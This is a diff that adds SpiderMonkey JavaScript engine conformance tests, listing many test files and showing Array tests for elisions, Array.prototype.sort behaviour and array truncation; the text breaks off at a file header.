-rw-r--r--js/src/tests/non262/regress/regress-69607.js42
-rw-r--r--js/src/tests/non262/regress/regress-698028-1.js24
-rw-r--r--js/src/tests/non262/regress/regress-698028-2.js29
-rw-r--r--js/src/tests/non262/regress/regress-698028-3.js15
-rw-r--r--js/src/tests/non262/regress/regress-699682.js29
-rw-r--r--js/src/tests/non262/regress/regress-71107.js43
-rw-r--r--js/src/tests/non262/regress/regress-736792.js23
-rw-r--r--js/src/tests/non262/regress/regress-76054.js123
-rw-r--r--js/src/tests/non262/regress/regress-80981.js3111
-rw-r--r--js/src/tests/non262/regress/regress-810525.js25
-rw-r--r--js/src/tests/non262/regress/regress-82306.js45
-rw-r--r--js/src/tests/non262/regress/regress-89443.js2119
-rw-r--r--js/src/tests/non262/regress/regress-89474.js47
-rw-r--r--js/src/tests/non262/regress/regress-90445.js295
-rw-r--r--js/src/tests/non262/regress/regress-96128-n.js48
-rw-r--r--js/src/tests/non262/regress/regress-96526-001.js504
-rw-r--r--js/src/tests/non262/regress/regress-96526-002.js30
-rw-r--r--js/src/tests/non262/regress/regress-96526-003.js4405
-rw-r--r--js/src/tests/non262/regress/regress-98901.js3892
-rw-r--r--js/src/tests/non262/regress/shell.js0
-rw-r--r--js/src/tests/non262/shell.js339
-rw-r--r--js/src/tests/non262/statements/arrow-function-at-end-of-for-statement-head.js64
-rw-r--r--js/src/tests/non262/statements/arrow-function-in-for-statement-head.js33
-rw-r--r--js/src/tests/non262/statements/browser.js0
-rw-r--r--js/src/tests/non262/statements/for-in-with-assignment-semantics.js46
-rw-r--r--js/src/tests/non262/statements/for-in-with-assignment-syntax.js66
-rw-r--r--js/src/tests/non262/statements/for-in-with-assignments.js87
-rw-r--r--js/src/tests/non262/statements/for-in-with-declaration.js31
-rw-r--r--js/src/tests/non262/statements/for-in-with-destructuring-assignments.js130
-rw-r--r--js/src/tests/non262/statements/for-in-with-gc-and-unvisited-deletion.js76
-rw-r--r--js/src/tests/non262/statements/for-in-with-gc-during-iterator-init.js30
-rw-r--r--js/src/tests/non262/statements/for-inof-coverinitname-destr-assign.js55
-rw-r--r--js/src/tests/non262/statements/for-inof-finally.js78
-rw-r--r--js/src/tests/non262/statements/for-inof-loop-const-declaration.js94
-rw-r--r--js/src/tests/non262/statements/for-inof-name-iteration-expression-contains-index-string.js43
-rw-r--r--js/src/tests/non262/statements/for-loop-declaration-contains-computed-name.js48
-rw-r--r--js/src/tests/non262/statements/for-loop-declaration-contains-initializer.js50
-rw-r--r--js/src/tests/non262/statements/for-of-async-of-starting-lhs.js115
-rw-r--r--js/src/tests/non262/statements/for-of-iterator-close-throw.js35
-rw-r--r--js/src/tests/non262/statements/for-of-iterator-close.js102
-rw-r--r--js/src/tests/non262/statements/for-of-iterator-primitive.js28
-rw-r--r--js/src/tests/non262/statements/for-of-var-with-initializer.js32
-rw-r--r--js/src/tests/non262/statements/if-constant-folding.js35
-rw-r--r--js/src/tests/non262/statements/property-reference-self-assignment.js38
-rw-r--r--js/src/tests/non262/statements/regress-131348.js147
-rw-r--r--js/src/tests/non262/statements/regress-157509.js74
-rw-r--r--js/src/tests/non262/statements/regress-194364.js115
-rw-r--r--js/src/tests/non262/statements/regress-226517.js75
-rw-r--r--js/src/tests/non262/statements/regress-302439.js1335
-rw-r--r--js/src/tests/non262/statements/regress-324650.js5427
-rw-r--r--js/src/tests/non262/statements/regress-444979.js40
-rw-r--r--js/src/tests/non262/statements/regress-642975.js30
-rw-r--r--js/src/tests/non262/statements/regress-74474-001.js102
-rw-r--r--js/src/tests/non262/statements/regress-74474-002.js9060
-rw-r--r--js/src/tests/non262/statements/regress-74474-003.js9062
-rw-r--r--js/src/tests/non262/statements/regress-83532-001.js34
-rw-r--r--js/src/tests/non262/statements/regress-83532-002.js37
-rw-r--r--js/src/tests/non262/statements/shell.js0
-rw-r--r--js/src/tests/non262/statements/trailing_comma_parameters.js92
-rw-r--r--js/src/tests/non262/statements/try-completion.js482
-rw-r--r--js/src/tests/non262/strict/10.4.2.js55
-rw-r--r--js/src/tests/non262/strict/10.4.3.js58
-rw-r--r--js/src/tests/non262/strict/10.6.js55
-rw-r--r--js/src/tests/non262/strict/11.1.5.js171
-rw-r--r--js/src/tests/non262/strict/11.13.1.js29
-rw-r--r--js/src/tests/non262/strict/11.13.2.js29
-rw-r--r--js/src/tests/non262/strict/11.3.1.js29
-rw-r--r--js/src/tests/non262/strict/11.3.2.js29
-rw-r--r--js/src/tests/non262/strict/11.4.1.js45
-rw-r--r--js/src/tests/non262/strict/11.4.4.js29
-rw-r--r--js/src/tests/non262/strict/11.4.5.js29
-rw-r--r--js/src/tests/non262/strict/12.10.1.js30
-rw-r--r--js/src/tests/non262/strict/12.14.1.js37
-rw-r--r--js/src/tests/non262/strict/12.2.1-01.js75
-rw-r--r--js/src/tests/non262/strict/12.2.1.js25
-rw-r--r--js/src/tests/non262/strict/13.1.js345
-rw-r--r--js/src/tests/non262/strict/15.10.7.js15
-rw-r--r--js/src/tests/non262/strict/15.3.4.5.js26
-rw-r--r--js/src/tests/non262/strict/15.3.5.1.js16
-rw-r--r--js/src/tests/non262/strict/15.3.5.2.js16
-rw-r--r--js/src/tests/non262/strict/15.4.4.11.js32
-rw-r--r--js/src/tests/non262/strict/15.4.4.12.js50
-rw-r--r--js/src/tests/non262/strict/15.4.4.13.js50
-rw-r--r--js/src/tests/non262/strict/15.4.4.6.js28
-rw-r--r--js/src/tests/non262/strict/15.4.4.8.js50
-rw-r--r--js/src/tests/non262/strict/15.4.4.9.js50
-rw-r--r--js/src/tests/non262/strict/15.4.5.1.js84
-rw-r--r--js/src/tests/non262/strict/15.5.5.1.js26
-rw-r--r--js/src/tests/non262/strict/15.5.5.2.js15
-rw-r--r--js/src/tests/non262/strict/8.12.5.js82
-rw-r--r--js/src/tests/non262/strict/8.12.7-2.js21
-rw-r--r--js/src/tests/non262/strict/8.12.7.js32
-rw-r--r--js/src/tests/non262/strict/8.7.2-01.js17
-rw-r--r--js/src/tests/non262/strict/8.7.2.js56
-rw-r--r--js/src/tests/non262/strict/B.1.1.js31
-rw-r--r--js/src/tests/non262/strict/B.1.2.js38
-rw-r--r--js/src/tests/non262/strict/assign-to-callee-name.js42
-rw-r--r--js/src/tests/non262/strict/browser.js0
-rw-r--r--js/src/tests/non262/strict/deprecated-octal-noctal-tokens.js53
-rw-r--r--js/src/tests/non262/strict/directive-prologue-01.js78
-rw-r--r--js/src/tests/non262/strict/eval-variable-environment.js67
-rw-r--r--js/src/tests/non262/strict/primitive-assignment.js23
-rw-r--r--js/src/tests/non262/strict/primitive-this-getter.js56
-rw-r--r--js/src/tests/non262/strict/primitive-this-no-writeback.js20
-rw-r--r--js/src/tests/non262/strict/rebind-eval-should-fail-in-strict-mode.js39
-rw-r--r--js/src/tests/non262/strict/regress-532041.js17
-rw-r--r--js/src/tests/non262/strict/regress-532254.js13
-rw-r--r--js/src/tests/non262/strict/regress-599159.js33
-rw-r--r--js/src/tests/non262/strict/shell.js65
-rw-r--r--js/src/tests/non262/strict/strict-function-statements.js94
-rw-r--r--js/src/tests/non262/strict/strict-this-is-not-truthy.js12
-rw-r--r--js/src/tests/non262/strict/this-for-function-expression-recursion.js44
-rw-r--r--js/src/tests/non262/strict/unbrand-this.js45
-rw-r--r--js/src/tests/non262/syntax/browser.js0
-rw-r--r--js/src/tests/non262/syntax/column-numbers-in-long-lines.js403
-rw-r--r--js/src/tests/non262/syntax/declaration-forbidden-in-label.js34
-rw-r--r--js/src/tests/non262/syntax/escaped-let-static-identifier.js57
-rw-r--r--js/src/tests/non262/syntax/escaped-strict-reserved-words-and-yield.js105
-rw-r--r--js/src/tests/non262/syntax/identifier_vertical_tilde.js20
-rw-r--r--js/src/tests/non262/syntax/identifiers-with-extended-unicode-escape.js208
-rw-r--r--js/src/tests/non262/syntax/keyword-unescaped-requirement.js68
-rw-r--r--js/src/tests/non262/syntax/let-as-label.js35
-rw-r--r--js/src/tests/non262/syntax/line-number-maintenance-for-identifier-containing-escape-terminated-by-unicode-separator.js41
-rw-r--r--js/src/tests/non262/syntax/linefeed-at-eof-in-unterminated-string-or-template.js88
-rw-r--r--js/src/tests/non262/syntax/non-simple-with-strict-directive.js140
-rw-r--r--js/src/tests/non262/syntax/omitted-catch-binding.js36
-rw-r--r--js/src/tests/non262/syntax/shell.js0
-rw-r--r--js/src/tests/non262/syntax/statement-versus-statementlistitem.js148
-rw-r--r--js/src/tests/non262/syntax/syntax-parsed-arrow-then-bigint.js40
-rw-r--r--js/src/tests/non262/syntax/syntax-parsed-arrow-then-directive.js72
-rw-r--r--js/src/tests/non262/syntax/syntax-parsed-arrow-then-sourcemap-directive.js63
-rw-r--r--js/src/tests/non262/syntax/unicode_other_id_continue.js45
-rw-r--r--js/src/tests/non262/syntax/unicode_other_id_start.js48
-rw-r--r--js/src/tests/non262/syntax/yield-as-identifier.js54
-rw-r--r--js/src/tests/non262/template-strings/browser.js2
-rw-r--r--js/src/tests/non262/template-strings/bug1559123.js15
-rw-r--r--js/src/tests/non262/template-strings/debugLineNumber.js50
-rw-r--r--js/src/tests/non262/template-strings/lineNumber.js72
-rw-r--r--js/src/tests/non262/template-strings/noSubst.js148
-rw-r--r--js/src/tests/non262/template-strings/shell.js0
-rw-r--r--js/src/tests/non262/template-strings/tagTempl.js464
-rw-r--r--js/src/tests/non262/template-strings/templLit.js118
-rw-r--r--js/src/tests/non262/template.js25
-rw-r--r--js/src/tests/non262/types/8.12.5-01.js110
-rw-r--r--js/src/tests/non262/types/browser.js0
-rw-r--r--js/src/tests/non262/types/shell.js0
3562 files changed, 456180 insertions, 0 deletions
diff --git a/js/src/tests/non262/Array/11.1.4.js b/js/src/tests/non262/Array/11.1.4.js
new file mode 100644
index 0000000000..7f39c9305e
--- /dev/null
+++ b/js/src/tests/non262/Array/11.1.4.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 260106;
+var summary = 'Elisons in Array literals should not be enumed';
+var actual = '';
+var expect = '';
+var status;
+var prop;
+var array;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' [,1] ';
+array = [,1];
+actual = '';
+expect = '1';
+for (prop in array)
+{
+ if (prop != 'length')
+ {
+ actual += prop;
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' [,,1] ';
+array = [,,1];
+actual = '';
+expect = '2';
+for (prop in array)
+{
+ if (prop != 'length')
+ {
+ actual += prop;
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' [1,] ';
+array = [1,];
+actual = '';
+expect = '0';
+for (prop in array)
+{
+ if (prop != 'length')
+ {
+ actual += prop;
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(4) + ' [1,,] ';
+array = [1,,];
+actual = '';
+expect = '0';
+for (prop in array)
+{
+ if (prop != 'length')
+ {
+ actual += prop;
+ }
+}
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/Array/15.4.4.5-1.js b/js/src/tests/non262/Array/15.4.4.5-1.js
new file mode 100644
index 0000000000..a5f9c9883c
--- /dev/null
+++ b/js/src/tests/non262/Array/15.4.4.5-1.js
@@ -0,0 +1,187 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.5.js
+ ECMA Section: Array.prototype.sort(comparefn)
+ Description:
+
+ This test file tests cases in which the compare function is not supplied.
+
+ The elements of this array are sorted. The sort is not necessarily stable.
+ If comparefn is provided, it should be a function that accepts two arguments
+ x and y and returns a negative value if x < y, zero if x = y, or a positive
+ value if x > y.
+
+ 1. Call the [[Get]] method of this object with argument "length".
+ 2. Call ToUint32(Result(1)).
+ 1. Perform an implementation-dependent sequence of calls to the
+ [[Get]] , [[Put]], and [[Delete]] methods of this object and
+ toSortCompare (described below), where the first argument for each call
+ to [[Get]], [[Put]] , or [[Delete]] is a nonnegative integer less
+ than Result(2) and where the arguments for calls to SortCompare are
+ results of previous calls to the [[Get]] method. After this sequence
+ is complete, this object must have the following two properties.
+ (1) There must be some mathematical permutation of the nonnegative
+ integers less than Result(2), such that for every nonnegative integer
+ j less than Result(2), if property old[j] existed, then new[(j)] is
+ exactly the same value as old[j],. but if property old[j] did not exist,
+ then new[(j)] either does not exist or exists with value undefined.
+ (2) If comparefn is not supplied or is a consistent comparison
+ function for the elements of this array, then for all nonnegative
+ integers j and k, each less than Result(2), if old[j] compares less
+ than old[k] (see SortCompare below), then (j) < (k). Here we use the
+ notation old[j] to refer to the hypothetical result of calling the [
+ [Get]] method of this object with argument j before this step is
+ executed, and the notation new[j] to refer to the hypothetical result
+ of calling the [[Get]] method of this object with argument j after this
+ step has been completely executed. A function is a consistent
+ comparison function for a set of values if (a) for any two of those
+ values (possibly the same value) considered as an ordered pair, it
+ always returns the same value when given that pair of values as its
+ two arguments, and the result of applying ToNumber to this value is
+ not NaN; (b) when considered as a relation, where the pair (x, y) is
+ considered to be in the relation if and only if applying the function
+ to x and y and then applying ToNumber to the result produces a
+ negative value, this relation is a partial order; and (c) when
+ considered as a different relation, where the pair (x, y) is considered
+ to be in the relation if and only if applying the function to x and y
+ and then applying ToNumber to the result produces a zero value (of either
+ sign), this relation is an equivalence relation. In this context, the
+ phrase "x compares less than y" means applying Result(2) to x and y and
+ then applying ToNumber to the result produces a negative value.
+ 3.Return this object.
+
+ When the SortCompare operator is called with two arguments x and y, the following steps are taken:
+ 1.If x and y are both undefined, return +0.
+ 2.If x is undefined, return 1.
+ 3.If y is undefined, return 1.
+ 4.If the argument comparefn was not provided in the call to sort, go to step 7.
+ 5.Call comparefn with arguments x and y.
+ 6.Return Result(5).
+ 7.Call ToString(x).
+ 8.Call ToString(y).
+ 9.If Result(7) < Result(8), return 1.
+ 10.If Result(7) > Result(8), return 1.
+ 11.Return +0.
+
+ Note that, because undefined always compared greater than any other value, undefined and nonexistent
+ property values always sort to the end of the result. It is implementation-dependent whether or not such
+ properties will exist or not at the end of the array when the sort is concluded.
+
+ Note that the sort function is intentionally generic; it does not require that its this value be an Array object.
+ Therefore it can be transferred to other kinds of objects for use as a method. Whether the sort function can be
+ applied successfully to a host object is implementation dependent .
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+
+var SECTION = "15.4.4.5-1";
+var TITLE = "Array.prototype.sort(comparefn)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+var S = new Array();
+var item = 0;
+
+// array is empty.
+S[item++] = "var A = new Array()";
+
+// array contains one item
+S[item++] = "var A = new Array( true )";
+
+// length of array is 2
+S[item++] = "var A = new Array( true, false, new Boolean(true), new Boolean(false), 'true', 'false' )";
+
+S[item++] = "var A = new Array(); A[3] = 'undefined'; A[6] = null; A[8] = 'null'; A[0] = void 0";
+
+S[item] = "var A = new Array( ";
+
+var limit = 0x0061;
+for ( var i = 0x007A; i >= limit; i-- ) {
+ S[item] += "\'"+ String.fromCharCode(i) +"\'" ;
+ if ( i > limit ) {
+ S[item] += ",";
+ }
+}
+
+S[item] += ")";
+
+item++;
+
+for ( var i = 0; i < S.length; i++ ) {
+ CheckItems( S[i] );
+}
+
+test();
+
+function CheckItems( S ) {
+ eval( S );
+ var E = Sort( A );
+
+ new TestCase(
+ S +"; A.sort(); A.length",
+ E.length,
+ eval( S + "; A.sort(); A.length") );
+
+ for ( var i = 0; i < E.length; i++ ) {
+ new TestCase(
+ "A["+i+ "].toString()",
+ E[i] +"",
+ A[i] +"");
+
+ if ( A[i] == void 0 && typeof A[i] == "undefined" ) {
+ new TestCase(
+ "typeof A["+i+ "]",
+ typeof E[i],
+ typeof A[i] );
+ }
+ }
+}
+function Object_1( value ) {
+ this.array = value.split(",");
+ this.length = this.array.length;
+ for ( var i = 0; i < this.length; i++ ) {
+ this[i] = eval(this.array[i]);
+ }
+ this.sort = Array.prototype.sort;
+ this.getClass = Object.prototype.toString;
+}
+function Sort( a ) {
+ for ( i = 0; i < a.length; i++ ) {
+ for ( j = i+1; j < a.length; j++ ) {
+ var lo = a[i];
+ var hi = a[j];
+ var c = Compare( lo, hi );
+ if ( c == 1 ) {
+ a[i] = hi;
+ a[j] = lo;
+ }
+ }
+ }
+ return a;
+}
+function Compare( x, y ) {
+ if ( x == void 0 && y == void 0 && typeof x == "undefined" && typeof y == "undefined" ) {
+ return +0;
+ }
+ if ( x == void 0 && typeof x == "undefined" ) {
+ return 1;
+ }
+ if ( y == void 0 && typeof y == "undefined" ) {
+ return -1;
+ }
+ x = String(x);
+ y = String(y);
+ if ( x < y ) {
+ return -1;
+ }
+ if ( x > y ) {
+ return 1;
+ }
+ return 0;
+}
diff --git a/js/src/tests/non262/Array/15.4.4.5-2.js b/js/src/tests/non262/Array/15.4.4.5-2.js
new file mode 100644
index 0000000000..5198297f5f
--- /dev/null
+++ b/js/src/tests/non262/Array/15.4.4.5-2.js
@@ -0,0 +1,189 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.5-2.js
+ ECMA Section: Array.prototype.sort(comparefn)
+ Description:
+
+ This test file tests cases in which the compare function is supplied.
+ In this cases, the sort creates a reverse sort.
+
+ The elements of this array are sorted. The sort is not necessarily stable.
+ If comparefn is provided, it should be a function that accepts two arguments
+ x and y and returns a negative value if x < y, zero if x = y, or a positive
+ value if x > y.
+
+ 1. Call the [[Get]] method of this object with argument "length".
+ 2. Call ToUint32(Result(1)).
+ 1. Perform an implementation-dependent sequence of calls to the
+ [[Get]] , [[Put]], and [[Delete]] methods of this object and
+ toSortCompare (described below), where the first argument for each call
+ to [[Get]], [[Put]] , or [[Delete]] is a nonnegative integer less
+ than Result(2) and where the arguments for calls to SortCompare are
+ results of previous calls to the [[Get]] method. After this sequence
+ is complete, this object must have the following two properties.
+ (1) There must be some mathematical permutation of the nonnegative
+ integers less than Result(2), such that for every nonnegative integer
+ j less than Result(2), if property old[j] existed, then new[(j)] is
+ exactly the same value as old[j],. but if property old[j] did not exist,
+ then new[(j)] either does not exist or exists with value undefined.
+ (2) If comparefn is not supplied or is a consistent comparison
+ function for the elements of this array, then for all nonnegative
+ integers j and k, each less than Result(2), if old[j] compares less
+ than old[k] (see SortCompare below), then (j) < (k). Here we use the
+ notation old[j] to refer to the hypothetical result of calling the [
+ [Get]] method of this object with argument j before this step is
+ executed, and the notation new[j] to refer to the hypothetical result
+ of calling the [[Get]] method of this object with argument j after this
+ step has been completely executed. A function is a consistent
+ comparison function for a set of values if (a) for any two of those
+ values (possibly the same value) considered as an ordered pair, it
+ always returns the same value when given that pair of values as its
+ two arguments, and the result of applying ToNumber to this value is
+ not NaN; (b) when considered as a relation, where the pair (x, y) is
+ considered to be in the relation if and only if applying the function
+ to x and y and then applying ToNumber to the result produces a
+ negative value, this relation is a partial order; and (c) when
+ considered as a different relation, where the pair (x, y) is considered
+ to be in the relation if and only if applying the function to x and y
+ and then applying ToNumber to the result produces a zero value (of either
+ sign), this relation is an equivalence relation. In this context, the
+ phrase "x compares less than y" means applying Result(2) to x and y and
+ then applying ToNumber to the result produces a negative value.
+ 3.Return this object.
+
+ When the SortCompare operator is called with two arguments x and y, the following steps are taken:
+ 1.If x and y are both undefined, return +0.
+ 2.If x is undefined, return 1.
+ 3.If y is undefined, return 1.
+ 4.If the argument comparefn was not provided in the call to sort, go to step 7.
+ 5.Call comparefn with arguments x and y.
+ 6.Return Result(5).
+ 7.Call ToString(x).
+ 8.Call ToString(y).
+ 9.If Result(7) < Result(8), return 1.
+ 10.If Result(7) > Result(8), return 1.
+ 11.Return +0.
+
+ Note that, because undefined always compared greater than any other value, undefined and nonexistent
+ property values always sort to the end of the result. It is implementation-dependent whether or not such
+ properties will exist or not at the end of the array when the sort is concluded.
+
+ Note that the sort function is intentionally generic; it does not require that its this value be an Array object.
+ Therefore it can be transferred to other kinds of objects for use as a method. Whether the sort function can be
+ applied successfully to a host object is implementation dependent .
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+
+var SECTION = "15.4.4.5-2";
+var TITLE = "Array.prototype.sort(comparefn)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var S = new Array();
+var item = 0;
+
+// array is empty.
+S[item++] = "var A = new Array()";
+
+// array contains one item
+S[item++] = "var A = new Array( true )";
+
+// length of array is 2
+S[item++] = "var A = new Array( true, false, new Boolean(true), new Boolean(false), 'true', 'false' )";
+
+S[item++] = "var A = new Array(); A[3] = 'undefined'; A[6] = null; A[8] = 'null'; A[0] = void 0";
+
+S[item] = "var A = new Array( ";
+
+var limit = 0x0061;
+for ( var i = 0x007A; i >= limit; i-- ) {
+ S[item] += "\'"+ String.fromCharCode(i) +"\'" ;
+ if ( i > limit ) {
+ S[item] += ",";
+ }
+}
+
+S[item] += ")";
+
+for ( var i = 0; i < S.length; i++ ) {
+ CheckItems( S[i] );
+}
+
+test();
+
+function CheckItems( S ) {
+ eval( S );
+ var E = Sort( A );
+
+ new TestCase(
+ S +"; A.sort(Compare); A.length",
+ E.length,
+ eval( S + "; A.sort(Compare); A.length") );
+
+ for ( var i = 0; i < E.length; i++ ) {
+ new TestCase(
+ "A["+i+ "].toString()",
+ E[i] +"",
+ A[i] +"");
+
+ if ( A[i] == void 0 && typeof A[i] == "undefined" ) {
+ new TestCase(
+ "typeof A["+i+ "]",
+ typeof E[i],
+ typeof A[i] );
+ }
+ }
+}
+function Object_1( value ) {
+ this.array = value.split(",");
+ this.length = this.array.length;
+ for ( var i = 0; i < this.length; i++ ) {
+ this[i] = eval(this.array[i]);
+ }
+ this.sort = Array.prototype.sort;
+ this.getClass = Object.prototype.toString;
+}
+function Sort( a ) {
+ var r1 = a.length;
+ for ( i = 0; i < a.length; i++ ) {
+ for ( j = i+1; j < a.length; j++ ) {
+ var lo = a[i];
+ var hi = a[j];
+ var c = Compare( lo, hi );
+ if ( c == 1 ) {
+ a[i] = hi;
+ a[j] = lo;
+ }
+ }
+ }
+ return a;
+}
+function Compare( x, y ) {
+ if ( x == void 0 && y == void 0 && typeof x == "undefined" && typeof y == "undefined" ) {
+ return +0;
+ }
+ if ( x == void 0 && typeof x == "undefined" ) {
+ return 1;
+ }
+ if ( y == void 0 && typeof y == "undefined" ) {
+ return -1;
+ }
+ x = String(x);
+ y = String(y);
+ if ( x < y ) {
+ return 1;
+ }
+ if ( x > y ) {
+ return -1;
+ }
+ return 0;
+}
diff --git a/js/src/tests/non262/Array/15.4.4.5-3.js b/js/src/tests/non262/Array/15.4.4.5-3.js
new file mode 100644
index 0000000000..523a8a2a92
--- /dev/null
+++ b/js/src/tests/non262/Array/15.4.4.5-3.js
@@ -0,0 +1,145 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.5-3.js
+ ECMA Section: Array.prototype.sort(comparefn)
+ Description:
+
+ This is a regression test for
+ http://scopus/bugsplat/show_bug.cgi?id=117144
+
+ Verify that sort is successfull, even if the sort compare function returns
+ a very large negative or positive value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+
+var SECTION = "15.4.4.5-3";
+var TITLE = "Array.prototype.sort(comparefn)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var array = new Array();
+
+var TIME_2000 = 946684800000;
+var TIME_1900 = -2208988800000;
+
+array[array.length] = new Date( TIME_2000 * Math.PI );
+array[array.length] = new Date( TIME_2000 * 10 );
+array[array.length] = new Date( TIME_1900 + TIME_1900 );
+array[array.length] = new Date(0);
+array[array.length] = new Date( TIME_2000 );
+array[array.length] = new Date( TIME_1900 + TIME_1900 +TIME_1900 );
+array[array.length] = new Date( TIME_1900 * Math.PI );
+array[array.length] = new Date( TIME_1900 * 10 );
+array[array.length] = new Date( TIME_1900 );
+array[array.length] = new Date( TIME_2000 + TIME_2000 );
+array[array.length] = new Date( 1899, 0, 1 );
+array[array.length] = new Date( 2000, 1, 29 );
+array[array.length] = new Date( 2000, 0, 1 );
+array[array.length] = new Date( 1999, 11, 31 );
+
+var testarr1 = new Array();
+clone( array, testarr1 );
+testarr1.sort( comparefn1 );
+
+var testarr2 = new Array();
+clone( array, testarr2 );
+testarr2.sort( comparefn2 );
+
+testarr3 = new Array();
+clone( array, testarr3 );
+testarr3.sort( comparefn3 );
+
+// when there's no sort function, sort sorts by the toString value of Date.
+
+var testarr4 = new Array();
+clone( array, testarr4 );
+testarr4.sort();
+
+var realarr = new Array();
+clone( array, realarr );
+realarr.sort( realsort );
+
+var stringarr = new Array();
+clone( array, stringarr );
+stringarr.sort( stringsort );
+
+for ( var i = 0; i < array.length; i++) {
+ new TestCase(
+ "testarr1["+i+"]",
+ realarr[i],
+ testarr1[i] );
+}
+
+for ( var i=0; i < array.length; i++) {
+ new TestCase(
+ "testarr2["+i+"]",
+ realarr[i],
+ testarr2[i] );
+}
+
+for ( var i=0; i < array.length; i++) {
+ new TestCase(
+ "testarr3["+i+"]",
+ realarr[i],
+ testarr3[i] );
+}
+
+for ( var i=0; i < array.length; i++) {
+ new TestCase(
+ "testarr4["+i+"]",
+ stringarr[i].toString(),
+ testarr4[i].toString() );
+}
+
+test();
+
+function comparefn1( x, y ) {
+ return x - y;
+}
+function comparefn2( x, y ) {
+ return x.valueOf() - y.valueOf();
+}
+function realsort( x, y ) {
+ return ( x.valueOf() == y.valueOf() ? 0 : ( x.valueOf() > y.valueOf() ? 1 : -1 ) );
+}
+function comparefn3( x, y ) {
+ return ( x == y ? 0 : ( x > y ? 1: -1 ) );
+}
+function clone( source, target ) {
+ for (i = 0; i < source.length; i++ ) {
+ target[i] = source[i];
+ }
+}
+function stringsort( x, y ) {
+ for ( var i = 0; i < x.toString().length; i++ ) {
+ var d = (x.toString()).charCodeAt(i) - (y.toString()).charCodeAt(i);
+ if ( d > 0 ) {
+ return 1;
+ } else {
+ if ( d < 0 ) {
+ return -1;
+ } else {
+ continue;
+ }
+ }
+
+ var d = x.length - y.length;
+
+ if ( d > 0 ) {
+ return 1;
+ } else {
+ if ( d < 0 ) {
+ return -1;
+ }
+ }
+ }
+ return 0;
+}
diff --git a/js/src/tests/non262/Array/array-001.js b/js/src/tests/non262/Array/array-001.js
new file mode 100644
index 0000000000..4ddf15e604
--- /dev/null
+++ b/js/src/tests/non262/Array/array-001.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 24 September 2001
+ *
+ * SUMMARY: Truncating arrays that have decimal property names.
+ * From correspondence with Igor Bukanov <igor@icesoft.no>:
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Truncating arrays that have decimal property names';
+var BIG_INDEX = 4294967290;
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var arr = Array(BIG_INDEX);
+arr[BIG_INDEX - 1] = 'a';
+arr[BIG_INDEX - 10000] = 'b';
+arr[BIG_INDEX - 0.5] = 'c'; // not an array index - but a valid property name
+// Truncate the array -
+arr.length = BIG_INDEX - 5000;
+
+
+// Enumerate its properties with for..in
+var s = '';
+for (var i in arr)
+{
+ s += arr[i];
+}
+
+
+/*
+ * We expect s == 'cb' or 'bc' (EcmaScript does not fix the order).
+ * Note 'c' is included: for..in includes ALL enumerable properties,
+ * not just array-index properties. The bug was: Rhino gave s == ''.
+ */
+status = inSection(1);
+actual = sortThis(s);
+expect = 'bc';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function sortThis(str)
+{
+ var chars = str.split('');
+ chars = chars.sort();
+ return chars.join('');
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/array-length-set-during-for-in.js b/js/src/tests/non262/Array/array-length-set-during-for-in.js
new file mode 100644
index 0000000000..83d476f7f9
--- /dev/null
+++ b/js/src/tests/non262/Array/array-length-set-during-for-in.js
@@ -0,0 +1,10 @@
+var a = [0, 1];
+var iterations = 0;
+for (var k in a) {
+ iterations++;
+ a.length = 1;
+}
+assertEq(iterations, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/array-length-set-on-nonarray.js b/js/src/tests/non262/Array/array-length-set-on-nonarray.js
new file mode 100644
index 0000000000..bc47c74777
--- /dev/null
